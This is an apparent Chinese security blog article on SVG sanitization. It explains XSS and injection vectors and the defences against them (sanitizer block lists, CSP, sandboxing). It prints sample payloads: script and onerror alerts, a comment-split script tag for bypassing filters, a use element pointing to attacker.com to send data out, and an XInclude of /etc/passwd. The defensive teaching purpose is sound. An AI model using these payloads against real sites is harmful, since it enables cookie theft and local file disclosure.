Hotdry.

Article

SVG 净化安全漏洞:攻击向量与防御工程化方案

深度解析 SVG 中嵌套脚本、事件处理器、XInclude 注入等攻击向量,提供浏览器解析器绕过与防御工程化方案。

2026-04-27security

SVG 作为可缩放矢量图形格式,本质上是 XML 文档,可以嵌入 JavaScript、CSS 动画甚至外部资源引用。这一特性使其成为 Web 应用中常见的安全风险点。当用户可以上传或直接渲染未经净化的 SVG 时,攻击者可以利用多种向量执行跨站脚本攻击(XSS)或窃取敏感数据。本文将从攻击向量、浏览器解析器绕过技术到防御工程化方案进行完整解析。

核心攻击向量分析

内联脚本与事件处理器

SVG 标准允许在文档中直接嵌入 <script> 标签,这与 HTML 中的脚本引入机制完全相同。攻击者构造的恶意 SVG 可能包含如下 payload:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

除显式脚本标签外,SVG 元素还支持大量事件处理器属性,例如 onloadonclickonmouseoveronfocus 等。当 SVG 被直接嵌入页面或通过 innerHTML 动态插入时,这些事件处理器会立即触发执行。值得注意的是,某些 SVG 渲染模式(如在 <img> 标签中加载)会阻止脚本执行,但通过 iframe 嵌入、直接插入 DOM 或使用 CSS background-image 时,攻击即可成功。

foreignObject 扩展攻击面

<foreignObject> 是 SVG 中最具威胁性的元素之一,它允许在 SVG 内部嵌入任意命名空间的 XML 内容,最典型的应用是嵌入 HTML:

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <img src="x" onerror="alert(1)"/>
    </body>
  </foreignObject>
</svg>

这个特性的危险之处在于:很多净化工具只关注 SVG 本身的标签和属性,却忽视了 foreignObject 内部内容的二次净化。攻击者可以利用 HTML 上下文中的传统 XSS 向量(如 onerroronload)绕过仅针对 SVG 的过滤规则。Mozilla Bug 1754522 记录了通过 SVG 的 foreignObject 加载 iframe 实现的同源 XSS 案例,这进一步证明该向量的实用性。

use 标签与外部资源注入

<use> 标签允许 SVG 引用同一文档或其他文档中定义的片段。这一特性可被滥用于外部资源加载和数据泄露:

<svg xmlns="http://www.w3.org/2000/svg">
  <use href="http://attacker.com/malicious.svg#fragment"/>
</svg>

攻击者可以通过控制 href 属性让受害浏览器向任意域名发起请求,实现敏感数据(如 IP 地址、Cookie)外传。此外,某些场景下 use 还能引用同源文档中的隐藏内容,绕过访问控制。

XInclude 与 XML 特性注入

XInclude 是 XML 规范提供的包含机制,虽然现代浏览器对其支持有限,但在某些服务端处理流程(如 SVG 转换、PDF 生成)中可能被解析。攻击者可以尝试注入外部实体引用或利用 XInclude 指向恶意资源:

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd"/>
</svg>

虽然浏览器端直接利用难度较高,但在后端使用 libxml2 等库解析 SVG 的应用场景中,此类注入可能导致本地文件读取或 SSRF 攻击。

浏览器解析器绕过技术

安全研究者长期关注浏览器解析 SVG 时的差异化行为,这些差异往往被用于绕过服务端过滤。最著名的案例是 Mozilla Bug 641148:浏览器对内联 SVG 的解析规则允许绕过服务端的 XSS 过滤器。攻击者利用 SVG 独特的命名空间切换机制,将恶意脚本嵌入看似无害的上下文中。

混淆与嵌套技术

通过精心构造的标签嵌套和属性伪装,攻击者可以绕过基于正则表达式的过滤逻辑。例如,将 script 标签拆分、使用大小写混合、插入无效字符或利用 XML 注释绕过常见检测:

<svg><sc<!-- -->ript>alert(1)</sc<!-- -->ript></svg>

此外,攻击者还利用 SVG 中的动画元素(SMIL)和 CSS 样式间接执行脚本,虽然这些技术的实际利用难度较高,但在特定场景下可以作为备选向量。

解析状态差异

浏览器在不同渲染模式下对 SVG 的处理存在微妙差异。当 SVG 作为图像加载(<img src="x.svg">)时,大多数脚本和事件处理器被禁止;但通过 objectembediframe 加载或直接插入 DOM 时,攻击面大幅扩展。防御方必须认识到:安全边界不在于「SVG 能否执行脚本」,而在于「以何种方式渲染该 SVG」。

防御工程化方案

服务端净化:严格过滤与白名单

任何用户提供的 SVG 都应经过服务端净化处理。推荐使用成熟的开源库,如 DOMPurify(支持 SVG 上下文)或专门针对 SVG 设计的净化工具。净化的核心原则包括:

  • 标签黑名单:明确禁止 <script><foreignObject><iframe><object><embed><use>(带外部引用)等高风险元素。
  • 属性黑名单:剥离所有以 on 开头的属性(如 onloadonerroronmouseover),禁止 javascript:data: 协议出现在 hrefsrc 等属性中。
  • 命名空间验证:确保 SVG 文档仅包含标准的 SVG 命名空间,拒绝包含意外命名空间声明的文档。

需要强调的是,净化必须在服务端完成,客户端 JavaScript 净化无法防御服务端渲染场景。

内容安全策略(CSP)部署

即使经过净化,CSP 仍是最有效的纵深防御手段。推荐配置如下:

Content-Security-Policy: 
  default-src 'self';
  script-src 'nonce-{random}' 'strict-dynamic';
  object-src 'none';
  base-uri 'self';
  form-action 'self';

关键指令包括:script-src 'nonce-{random}' 禁止内联脚本执行;object-src 'none' 阻止插件类型内容加载;style-src 'self' 限制 CSS 来源。对于必须展示用户 SVG 的场景,可额外使用 sandbox 指令限制 iframe 行为能力。

渲染上下文隔离

用户上传的 SVG 不应直接嵌入主页面 DOM。推荐方案包括:

  • 图像模式渲染:将净化后的 SVG 转换为 Base64 或 Blob URL,通过 <img> 标签加载,此时浏览器会禁用脚本执行。
  • 沙箱 iframe:使用 sandbox="allow-scripts allow-same-origin" 属性(仅在必要时)加载 SVG,同时设置 Content-Disposition: attachment 防止同源脚本访问主页面 Cookie。
  • 独立域名服务:将用户生成的 SVG 通过独立域名托管,彻底隔离 Cookie 和 DOM 访问。

上传阶段的预检查

在净化之前,应在上传阶段实施基础检查:

  • MIME 类型验证:仅接受 image/svg+xml,拒绝 application/xmltext/plain
  • 文件大小限制:防止过大的 SVG 导致服务端资源耗尽。
  • 文件内容预扫描:检测是否包含 <script 字符串、onload 属性、javascript: 协议等明显恶意模式。
  • 重写与再编码:净化后的 SVG 可选择重新序列化为全新文件,消除原始文档中的隐藏字符和编码陷阱。

监控与持续更新

SVG 安全并非一次性修复,而是持续攻防过程。建议建立以下机制:

  • 关注各大浏览器安全公告和 CVE 数据库,及时了解 SVG 解析器新发现的漏洞。
  • 定期使用已知恶意 SVG payload 对净化流程进行回归测试,确保新过滤规则有效。
  • 日志记录用户上传 SVG 的频率、来源和净化结果,便于异常检测。

资料来源

本文技术细节参考以下资源:Mozilla Bug 641148 记录的内联 SVG 解析规则绕过;Mozilla Bug 1754522 关于 foreignObject 中 iframe XSS 的案例;PortSwigger Research 发布的 SVG animate XSS 向量研究;OWASP Cross Site Scripting Prevention Cheat Sheet 提供的 XSS 防御框架。

security